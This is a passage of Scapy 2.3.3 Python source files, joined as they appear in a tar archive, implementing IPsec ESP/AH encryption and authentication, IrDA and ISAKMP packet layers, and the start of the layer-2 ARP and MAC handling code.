encryption algorithms are the same than in scapy.contrib.ikev2 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml CRYPT_ALGOS = { 'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0), } if AES: CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC', cipher=AES, mode=AES.MODE_CBC) # specific case for counter mode: # the last 4 bytes of the key are used to carry the nonce of the counter CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR', cipher=AES, mode=AES.MODE_CTR, block_size=1, iv_size=8, key_size=(16 + 4, 24 + 4, 32 + 4)) if hasattr(AES, "MODE_GCM"): CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM', cipher=AES, mode=AES.MODE_GCM, iv_size=8, icv_size=8, key_size=(16 + 4, 24 + 4, 32 + 4)) if hasattr(AES, "MODE_CCM"): CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM', cipher=AES, mode=AES.MODE_CCM, iv_size=8, icv_size=8, key_size=(16 + 4, 24 + 4, 32 + 4)) if DES: CRYPT_ALGOS['DES'] = CryptAlgo('DES', cipher=DES, mode=DES.MODE_CBC) if Blowfish: CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish', cipher=Blowfish, mode=Blowfish.MODE_CBC) if DES3: CRYPT_ALGOS['3DES'] = CryptAlgo('3DES', cipher=DES3, mode=DES3.MODE_CBC) if CAST: CRYPT_ALGOS['CAST'] = CryptAlgo('CAST', cipher=CAST, mode=CAST.MODE_CBC) #------------------------------------------------------------------------------ try: from Crypto.Hash import HMAC from Crypto.Hash import SHA from Crypto.Hash import MD5 from Crypto.Hash import SHA256 from Crypto.Hash import SHA384 from Crypto.Hash import SHA512 except ImportError: # no error if pycrypto is not available but authentication won't be supported HMAC = None SHA = None MD5 = None SHA256 = None SHA384 = None try: from Crypto.Hash import XCBCMAC except ImportError: XCBCMAC = None #------------------------------------------------------------------------------ class IPSecIntegrityError(Exception): """ Error risen when the integrity check fails. """ pass class AuthAlgo(object): """ IPSec integrity algorithm """ def __init__(self, name, mac, digestmod, icv_size, key_size=None): """ @param name: the name of this integrity algorithm @param mac: a Message Authentication Code module @param digestmod: a Hash or Cipher module @param icv_size: the length of the integrity check value of this algo @param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. """ self.name = name self.mac = mac self.digestmod = digestmod self.icv_size = icv_size self.key_size = key_size def check_key(self, key): """ Check that the key length is valid. @param key: a byte string """ if self.key_size and len(key) not in self.key_size: raise TypeError('invalid key size %s, must be one of %s' % (len(key), self.key_size)) def new_mac(self, key): """ @param key: a byte string @return: an initialized mac object for this algo """ if self.mac is XCBCMAC: # specific case here, ciphermod instead of digestmod return self.mac.new(key, ciphermod=self.digestmod) else: return self.mac.new(key, digestmod=self.digestmod) def sign(self, pkt, key): """ Sign an IPSec (ESP or AH) packet with this algo. @param pkt: a packet that contains a valid encrypted ESP or AH layer @param key: the authentication key, a byte string @return: the signed packet """ if not self.mac: return pkt self.check_key(key) mac = self.new_mac(key) if pkt.haslayer(ESP): mac.update(str(pkt[ESP])) pkt[ESP].data += mac.digest()[:self.icv_size] elif pkt.haslayer(AH): clone = zero_mutable_fields(pkt.copy(), sending=True) mac.update(str(clone)) pkt[AH].icv = mac.digest()[:self.icv_size] return pkt def verify(self, pkt, key): """ Check that the integrity check value (icv) of a packet is valid. @param pkt: a packet that contains a valid encrypted ESP or AH layer @param key: the authentication key, a byte string @raise IPSecIntegrityError: if the integrity check fails """ if not self.mac or self.icv_size == 0: return self.check_key(key) mac = self.new_mac(key) pkt_icv = 'not found' computed_icv = 'not computed' if isinstance(pkt, ESP): pkt_icv = pkt.data[len(pkt.data) - self.icv_size:] pkt = pkt.copy() pkt.data = pkt.data[:len(pkt.data) - self.icv_size] mac.update(str(pkt)) computed_icv = mac.digest()[:self.icv_size] elif pkt.haslayer(AH): pkt_icv = pkt[AH].icv[:self.icv_size] clone = zero_mutable_fields(pkt.copy(), sending=False) mac.update(str(clone)) computed_icv = mac.digest()[:self.icv_size] if pkt_icv != computed_icv: raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' % (pkt_icv, computed_icv)) #------------------------------------------------------------------------------ # The names of the integrity algorithms are the same than in scapy.contrib.ikev2 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml AUTH_ALGOS = { 'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0), } if HMAC: if SHA: AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96', mac=HMAC, digestmod=SHA, icv_size=12) if SHA256: AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128', mac=HMAC, digestmod=SHA256, icv_size=16) if SHA384: AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192', mac=HMAC, digestmod=SHA384, icv_size=24) if SHA512: AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256', mac=HMAC, digestmod=SHA512, icv_size=32) if MD5: AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96', mac=HMAC, digestmod=MD5, icv_size=12) if AES and XCBCMAC: AUTH_ALGOS['AES-XCBC-96'] = AuthAlgo('AES-XCBC-96', mac=XCBCMAC, digestmod=AES, icv_size=12, key_size=(16,)) #------------------------------------------------------------------------------ def split_for_transport(orig_pkt, transport_proto): """ Split an IP(v6) packet in the correct location to insert an ESP or AH header. @param orig_pkt: the packet to split. Must be an IP or IPv6 packet @param transport_proto: the IPSec protocol number that will be inserted at the split position. @return: a tuple (header, nh, payload) where nh is the protocol number of payload. """ # force resolution of default fields to avoid padding errors header = orig_pkt.__class__(str(orig_pkt)) next_hdr = header.payload nh = None if header.version == 4: nh = header.proto header.proto = transport_proto header.remove_payload() del header.chksum del header.len return header, nh, next_hdr else: found_rt_hdr = False prev = header # Since the RFC 4302 is vague about where the ESP/AH headers should be # inserted in IPv6, I chose to follow the linux implementation. while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): if isinstance(next_hdr, IPv6ExtHdrHopByHop): pass if isinstance(next_hdr, IPv6ExtHdrRouting): found_rt_hdr = True elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr: break prev = next_hdr next_hdr = next_hdr.payload nh = prev.nh prev.nh = transport_proto prev.remove_payload() del header.plen return header, nh, next_hdr #------------------------------------------------------------------------------ # see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers IMMUTABLE_IPV4_OPTIONS = ( 0, # End Of List 1, # No OPeration 2, # Security 5, # Extended Security 6, # Commercial Security 20, # Router Alert 21, # Sender Directed Multi-Destination Delivery ) def zero_mutable_fields(pkt, sending=False): """ When using AH, all "mutable" fields must be "zeroed" before calculating the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields. @param pkt: an IP(v6) packet containing an AH layer. NOTE: The packet will be modified @param sending: if true, ipv6 routing headers will not be reordered """ if pkt.haslayer(AH): pkt[AH].icv = chr(0) * len(pkt[AH].icv) else: raise TypeError('no AH layer found') if pkt.version == 4: # the tos field has been replaced by DSCP and ECN # Routers may rewrite the DS field as needed to provide a # desired local or end-to-end service pkt.tos = 0 # an intermediate router might set the DF bit, even if the source # did not select it. pkt.flags = 0 # changed en route as a normal course of processing by routers pkt.ttl = 0 # will change if any of these other fields change pkt.chksum = 0 immutable_opts = [] for opt in pkt.options: if opt.option in IMMUTABLE_IPV4_OPTIONS: immutable_opts.append(opt) else: immutable_opts.append(Raw(chr(0) * len(opt))) pkt.options = immutable_opts else: # holds DSCP and ECN pkt.tc = 0 # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98] # was potentially mutable. To retain compatibility with existing AH # implementations, the flow label is not included in the ICV in AHv2. pkt.fl = 0 # same as ttl pkt.hlim = 0 next_hdr = pkt.payload while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)): for opt in next_hdr.options: if opt.otype & 0x20: # option data can change en-route and must be zeroed opt.optdata = chr(0) * opt.optlen elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending: # The sender must order the field so that it appears as it # will at the receiver, prior to performing the ICV computation. next_hdr.segleft = 0 if next_hdr.addresses: final = next_hdr.addresses.pop() next_hdr.addresses.insert(0, pkt.dst) pkt.dst = final else: break next_hdr = next_hdr.payload return pkt #------------------------------------------------------------------------------ class SecurityAssociation(object): """ This class is responsible of "encryption" and "decryption" of IPSec packets. """ SUPPORTED_PROTOS = (IP, IPv6) def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None, auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None): """ @param proto: the IPSec proto to use (ESP or AH) @param spi: the Security Parameters Index of this SA @param seq_num: the initial value for the sequence number on encrypted packets @param crypt_algo: the encryption algorithm name (only used with ESP) @param crypt_key: the encryption key (only used with ESP) @param auth_algo: the integrity algorithm name @param auth_key: the integrity key @param tunnel_header: an instance of a IP(v6) header that will be used to encapsulate the encrypted packets. @param nat_t_header: an instance of a UDP header that will be used for NAT-Traversal. """ if proto not in (ESP, AH, ESP.name, AH.name): raise ValueError("proto must be either ESP or AH") if isinstance(proto, basestring): self.proto = eval(proto) else: self.proto = proto self.spi = spi self.seq_num = seq_num if crypt_algo: if crypt_algo not in CRYPT_ALGOS: raise TypeError('unsupported encryption algo %r, try %r' % (crypt_algo, CRYPT_ALGOS.keys())) self.crypt_algo = CRYPT_ALGOS[crypt_algo] self.crypt_algo.check_key(crypt_key) self.crypt_key = crypt_key else: self.crypt_algo = CRYPT_ALGOS['NULL'] self.crypt_key = None if auth_algo: if auth_algo not in AUTH_ALGOS: raise TypeError('unsupported integrity algo %r, try %r' % (auth_algo, AUTH_ALGOS.keys())) self.auth_algo = AUTH_ALGOS[auth_algo] self.auth_algo.check_key(auth_key) self.auth_key = auth_key else: self.auth_algo = AUTH_ALGOS['NULL'] self.auth_key = None if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)): raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name)) self.tunnel_header = tunnel_header if nat_t_header: if proto is not ESP: raise TypeError('nat_t_header is only allowed with ESP') if not isinstance(nat_t_header, UDP): raise TypeError('nat_t_header must be %s' % UDP.name) self.nat_t_header = nat_t_header def check_spi(self, pkt): if pkt.spi != self.spi: raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' % (pkt.spi, self.spi)) def _encrypt_esp(self, pkt, seq_num=None, iv=None): if iv is None: iv = self.crypt_algo.generate_iv() else: if len(iv) != self.crypt_algo.iv_size: raise TypeError('iv length must be %s' % self.crypt_algo.iv_size) esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(str(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP) esp.data = payload esp.nh = nh esp = self.crypt_algo.pad(esp) esp = self.crypt_algo.encrypt(esp, self.crypt_key) self.auth_algo.sign(esp, self.auth_key) if self.nat_t_header: nat_t_header = self.nat_t_header.copy() nat_t_header.chksum = 0 del nat_t_header.len if ip_header.version == 4: del ip_header.proto else: del ip_header.nh ip_header /= nat_t_header if ip_header.version == 4: ip_header.len = len(ip_header) + len(esp) del ip_header.chksum ip_header = ip_header.__class__(str(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(esp) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return ip_header / esp def _encrypt_ah(self, pkt, seq_num=None): ah = AH(spi=self.spi, seq=seq_num or self.seq_num, icv=chr(0) * self.auth_algo.icv_size) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(str(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH) ah.nh = nh if ip_header.version == 6 and len(ah) % 8 != 0: # For IPv6, the total length of the header must be a multiple of # 8-octet units. ah.padding = chr(0) * (-len(ah) % 8) elif len(ah) % 4 != 0: # For IPv4, the total length of the header must be a multiple of # 4-octet units. ah.padding = chr(0) * (-len(ah) % 4) # RFC 4302 - Section 2.2. Payload Length # This 8-bit field specifies the length of AH in 32-bit words (4-byte # units), minus "2". ah.payloadlen = len(ah) / 4 - 2 if ip_header.version == 4: ip_header.len = len(ip_header) + len(ah) + len(payload) del ip_header.chksum ip_header = ip_header.__class__(str(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(ah) + len(payload) signed_pkt = self.auth_algo.sign(ip_header / ah / payload, self.auth_key) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return signed_pkt def encrypt(self, pkt, seq_num=None, iv=None): """ Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according to this SecurityAssociation. @param pkt: the packet to encrypt @param seq_num: if specified, use this sequence number instead of the generated one @param iv: if specified, use this initialization vector for encryption instead of a random one. @return: the encrypted/encapsulated packet """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot encrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP: return self._encrypt_esp(pkt, seq_num=seq_num, iv=iv) else: return self._encrypt_ah(pkt, seq_num=seq_num) def _decrypt_esp(self, pkt, verify=True): encrypted = pkt[ESP] if verify: self.check_spi(pkt) self.auth_algo.verify(encrypted, self.auth_key) esp = self.crypt_algo.decrypt(encrypted, self.crypt_key, self.auth_algo.icv_size) if self.tunnel_header: # drop the tunnel header and return the payload untouched pkt.remove_payload() if pkt.version == 4: pkt.proto = esp.nh else: pkt.nh = esp.nh cls = pkt.guess_payload_class(esp.data) return cls(esp.data) else: ip_header = pkt if ip_header.version == 4: ip_header.proto = esp.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(esp.data) # recompute checksum ip_header = ip_header.__class__(str(ip_header)) else: encrypted.underlayer.nh = esp.nh encrypted.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(esp.data) cls = ip_header.guess_payload_class(esp.data) # reassemble the ip_header with the ESP payload return ip_header / cls(esp.data) def _decrypt_ah(self, pkt, verify=True): if verify: self.check_spi(pkt) self.auth_algo.verify(pkt, self.auth_key) ah = pkt[AH] payload = ah.payload payload.remove_underlayer(None) # useless argument... if self.tunnel_header: return payload else: ip_header = pkt if ip_header.version == 4: ip_header.proto = ah.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(payload) # recompute checksum ip_header = ip_header.__class__(str(ip_header)) else: ah.underlayer.nh = ah.nh ah.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(payload) # reassemble the ip_header with the AH payload return ip_header / payload def decrypt(self, pkt, verify=True): """ Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH. @param pkt: the packet to decrypt @param verify: if False, do not perform the integrity check @return: the decrypted/decapsulated packet @raise IPSecIntegrityError: if the integrity check fails """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot decrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP and pkt.haslayer(ESP): return self._decrypt_esp(pkt, verify=verify) elif self.proto is AH and pkt.haslayer(AH): return self._decrypt_ah(pkt, verify=verify) else: raise TypeError('%s has no %s layer' % (pkt, self.proto.name)) scapy-2.3.3/scapy/layers/ir.py000066400000000000000000000026311300136037300162360ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ IrDA infrared data communication. """ from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import CookedLinux # IR class IrLAPHead(Packet): name = "IrDA Link Access Protocol Header" fields_desc = [ XBitField("Address", 0x7f, 7), BitEnumField("Type", 1, 1, {"Response":0, "Command":1})] class IrLAPCommand(Packet): name = "IrDA Link Access Protocol Command" fields_desc = [ XByteField("Control", 0), XByteField("Format identifier", 0), XIntField("Source address", 0), XIntField("Destination address", 0xffffffffL), XByteField("Discovery flags", 0x1), ByteEnumField("Slot number", 255, {"final":255}), XByteField("Version", 0)] class IrLMP(Packet): name = "IrDA Link Management Protocol" fields_desc = [ XShortField("Service hints", 0), XByteField("Character set", 0), StrField("Device name", "") ] bind_layers( CookedLinux, IrLAPHead, proto=23) bind_layers( IrLAPHead, IrLAPCommand, Type=1) bind_layers( IrLAPCommand, IrLMP, ) scapy-2.3.3/scapy/layers/isakmp.py000066400000000000000000000337151300136037300171170ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ ISAKMP (Internet Security Association and Key Management Protocol). """ import struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import IP,UDP from scapy.sendrecv import sr # see http://www.iana.org/assignments/ipsec-registry for details ISAKMPAttributeTypes= { "Encryption": (1, { "DES-CBC" : 1, "IDEA-CBC" : 2, "Blowfish-CBC" : 3, "RC5-R16-B64-CBC" : 4, "3DES-CBC" : 5, "CAST-CBC" : 6, "AES-CBC" : 7, "CAMELLIA-CBC" : 8, }, 0), "Hash": (2, { "MD5": 1, "SHA": 2, "Tiger": 3, "SHA2-256": 4, "SHA2-384": 5, "SHA2-512": 6,}, 0), "Authentication":(3, { "PSK": 1, "DSS": 2, "RSA Sig": 3, "RSA Encryption": 4, "RSA Encryption Revised": 5, "ElGamal Encryption": 6, "ElGamal Encryption Revised": 7, "ECDSA Sig": 8, "HybridInitRSA": 64221, "HybridRespRSA": 64222, "HybridInitDSS": 64223, "HybridRespDSS": 64224, "XAUTHInitPreShared": 65001, "XAUTHRespPreShared": 65002, "XAUTHInitDSS": 65003, "XAUTHRespDSS": 65004, "XAUTHInitRSA": 65005, "XAUTHRespRSA": 65006, "XAUTHInitRSAEncryption": 65007, "XAUTHRespRSAEncryption": 65008, "XAUTHInitRSARevisedEncryption": 65009, "XAUTHRespRSARevisedEncryptio": 65010, }, 0), "GroupDesc": (4, { "768MODPgr" : 1, "1024MODPgr" : 2, "EC2Ngr155" : 3, "EC2Ngr185" : 4, "1536MODPgr" : 5, "2048MODPgr" : 14, "3072MODPgr" : 15, "4096MODPgr" : 16, "6144MODPgr" : 17, "8192MODPgr" : 18, }, 0), "GroupType": (5, {"MODP": 1, "ECP": 2, "EC2N": 3}, 0), "GroupPrime": (6, {}, 1), "GroupGenerator1":(7, {}, 1), "GroupGenerator2":(8, {}, 1), "GroupCurveA": (9, {}, 1), "GroupCurveB": (10, {}, 1), "LifeType": (11, {"Seconds": 1, "Kilobytes": 2, }, 0), "LifeDuration": (12, {}, 1), "PRF": (13, {}, 0), "KeyLength": (14, {}, 0), "FieldSize": (15, {}, 0), "GroupOrder": (16, {}, 1), } # the name 'ISAKMPTransformTypes' is actually a misnomer (since the table # holds info for all ISAKMP Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least ISAKMPTransformTypes = ISAKMPAttributeTypes ISAKMPTransformNum = {} for n in ISAKMPTransformTypes: val = ISAKMPTransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e ISAKMPTransformNum[val[0]] = (n,tmp, val[2]) del(n) del(e) del(tmp) del(val) class ISAKMPTransformSetField(StrLenField): islist=1 def type2num(self, (typ,val)): type_val,enc_dict,tlv = ISAKMPTransformTypes.get(typ, (typ,{},0)) val = enc_dict.get(val, val) s = "" if (val & ~0xffff): if not tlv: warning("%r should not be TLV but is too big => using TLV encoding" % typ) n = 0 while val: s = chr(val&0xff)+s val >>= 8 n += 1 val = n else: type_val |= 0x8000 return struct.pack("!HH",type_val, val)+s def num2type(self, typ, enc): val = ISAKMPTransformNum.get(typ,(typ,{})) enc = val[1].get(enc,enc) return (val[0],enc) def i2m(self, pkt, i): if i is None: return "" i = map(self.type2num, i) return "".join(i) def m2i(self, pkt, m): # I try to ensure that we don't read off the end of our packet based # on bad length fields we're provided in the packet. There are still # conditions where struct.unpack() may not get enough packet data, but # worst case that should result in broken attributes (which would # be expected). (wam) lst = [] while len(m) >= 4: trans_type, = struct.unpack("!H", m[:2]) is_tlv = not (trans_type & 0x8000) if is_tlv: # We should probably check to make sure the attribute type we # are looking at is allowed to have a TLV format and issue a # warning if we're given an TLV on a basic attribute. value_len, = struct.unpack("!H", m[2:4]) if value_len+4 > len(m): warning("Bad length for ISAKMP tranform type=%#6x" % trans_type) value = m[4:4+value_len] value = reduce(lambda x,y: (x<<8L)|y, struct.unpack("!%s" % ("B"*len(value),), value),0) else: trans_type &= 0x7fff value_len=0 value, = struct.unpack("!H", m[2:4]) m=m[4+value_len:] lst.append(self.num2type(trans_type, value)) if len(m) > 0: warning("Extra bytes after ISAKMP transform dissection [%r]" % m) return lst ISAKMP_payload_type = ["None","SA","Proposal","Transform","KE","ID","CERT","CR","Hash", "SIG","Nonce","Notification","Delete","VendorID"] ISAKMP_exchange_type = ["None","base","identity prot.", "auth only", "aggressive", "info"] class ISAKMP_class(Packet): def guess_payload_class(self, payload): np = self.next_payload if np == 0: return conf.raw_layer elif np < len(ISAKMP_payload_type): pt = ISAKMP_payload_type[np] return globals().get("ISAKMP_payload_%s" % pt, ISAKMP_payload) else: return ISAKMP_payload class ISAKMP(ISAKMP_class): # rfc2408 name = "ISAKMP" fields_desc = [ StrFixedLenField("init_cookie","",8), StrFixedLenField("resp_cookie","",8), ByteEnumField("next_payload",0,ISAKMP_payload_type), XByteField("version",0x10), ByteEnumField("exch_type",0,ISAKMP_exchange_type), FlagsField("flags",0, 8, ["encryption","commit","auth_only","res3","res4","res5","res6","res7"]), # XXX use a Flag field IntField("id",0), IntField("length",None) ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return ISAKMP_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, ISAKMP): if other.init_cookie == self.init_cookie: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24]+struct.pack("!I",len(p))+p[28:] return p class ISAKMP_payload_Transform(ISAKMP_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), # ShortField("len",None), ShortField("length",None), ByteField("num",None), ByteEnumField("id",1,{1:"KEY_IKE"}), ShortField("res2",0), ISAKMPTransformSetField("transforms",None,length_from=lambda x:x.length-8) # XIntField("enc",0x80010005L), # XIntField("hash",0x80020002L), # XIntField("auth",0x80030001L), # XIntField("group",0x80040002L), # XIntField("life_type",0x800b0001L), # XIntField("durationh",0x000c0004L), # XIntField("durationl",0x00007080L), ] def post_build(self, p, pay): if self.length is None: l = len(p) p = p[:2]+chr((l>>8)&0xff)+chr(l&0xff)+p[4:] p += pay return p class ISAKMP_payload_Proposal(ISAKMP_class): name = "IKE proposal" # ISAKMP_payload_type = 0 fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8), ByteField("proposal",1), ByteEnumField("proto",1,{1:"ISAKMP"}), FieldLenField("SPIsize",None,"SPI","B"), ByteField("trans_nb",None), StrLenField("SPI","",length_from=lambda x:x.SPIsize), PacketLenField("trans",conf.raw_layer(),ISAKMP_payload_Transform,length_from=lambda x:x.length-8), ] class ISAKMP_payload(ISAKMP_class): name = "ISAKMP payload" fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_VendorID(ISAKMP_class): name = "ISAKMP Vendor ID" overload_fields = { ISAKMP: { "next_payload":13 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_SA(ISAKMP_class): name = "ISAKMP SA" overload_fields = { ISAKMP: { "next_payload":1 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+12), IntEnumField("DOI",1,{1:"IPSEC"}), IntEnumField("situation",1,{1:"identity"}), PacketLenField("prop",conf.raw_layer(),ISAKMP_payload_Proposal,length_from=lambda x:x.length-12), ] class ISAKMP_payload_Nonce(ISAKMP_class): name = "ISAKMP Nonce" overload_fields = { ISAKMP: { "next_payload":10 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_KE(ISAKMP_class): name = "ISAKMP Key Exchange" overload_fields = { ISAKMP: { "next_payload":4 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_ID(ISAKMP_class): name = "ISAKMP Identification" overload_fields = { ISAKMP: { "next_payload":5 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class ISAKMP_payload_Hash(ISAKMP_class): name = "ISAKMP Hash" overload_fields = { ISAKMP: { "next_payload":8 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] ISAKMP_payload_type_overload = {} for i, payloadname in enumerate(ISAKMP_payload_type): name = "ISAKMP_payload_%s" % payloadname if name in globals(): ISAKMP_payload_type_overload[globals()[name]] = {"next_payload": i} del i, payloadname, name ISAKMP_class._overload_fields = ISAKMP_payload_type_overload.copy() bind_layers( UDP, ISAKMP, dport=500, sport=500) def ikescan(ip): return sr(IP(dst=ip)/UDP()/ISAKMP(init_cookie=RandString(8), exch_type=2)/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())) scapy-2.3.3/scapy/layers/l2.py000066400000000000000000000623011300136037300161410ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Classes and functions for layer 2 protocols. """ import os, struct, time, socket from scapy.base_classes import Net from scapy.config import conf from scapy.data import * from scapy.packet import * from scapy.ansmachine import * from scapy.plist import SndRcvList from scapy.fields import * from scapy.sendrecv import * from scapy.arch import get_if_hwaddr from scapy.arch.consts import LOOPBACK_NAME from scapy.utils import inet_ntoa, inet_aton if conf.route is None: # unused import, only to initialize conf.route import scapy.route ################# ## Tools ## ################# class Neighbor: def __init__(self): self.resolvers = {} def register_l3(self, l2, l3, resolve_method): self.resolvers[l2,l3]=resolve_method def resolve(self, l2inst, l3inst): k = l2inst.__class__,l3inst.__class__ if k in self.resolvers: return self.resolvers[k](l2inst,l3inst) def __repr__(self): return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2,l3 in self.resolvers) conf.neighbor = Neighbor() conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s @conf.commands.register def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip,Net): ip = iter(ip).next() ip = inet_ntoa(inet_aton(ip)) tmp = map(ord, inet_aton(ip)) if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3]) iff,a,gw = conf.route.route(ip) if ( (iff == LOOPBACK_NAME) or (ip == conf.route.get_if_bcast(iff)) ): return "ff:ff:ff:ff:ff:ff" if gw != "0.0.0.0": ip = gw mac = conf.netcache.arp_cache.get(ip) if mac: return mac res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface = iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None ### Fields class DestMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: try: x = conf.neighbor.resolve(pkt,pkt.payload) except socket.error: pass if x is None: x = "ff:ff:ff:ff:ff:ff" warning("Mac address to reach destination not found. Using broadcast.") return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class SourceMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: iff, a, gw = pkt.payload.route() if iff is None: iff = conf.iface if iff: try: x = get_if_hwaddr(iff) except: pass if x is None: x = "00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class ARPSourceMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: iff,a,gw = pkt.route() if iff: try: x = get_if_hwaddr(iff) except: pass if x is None: x = 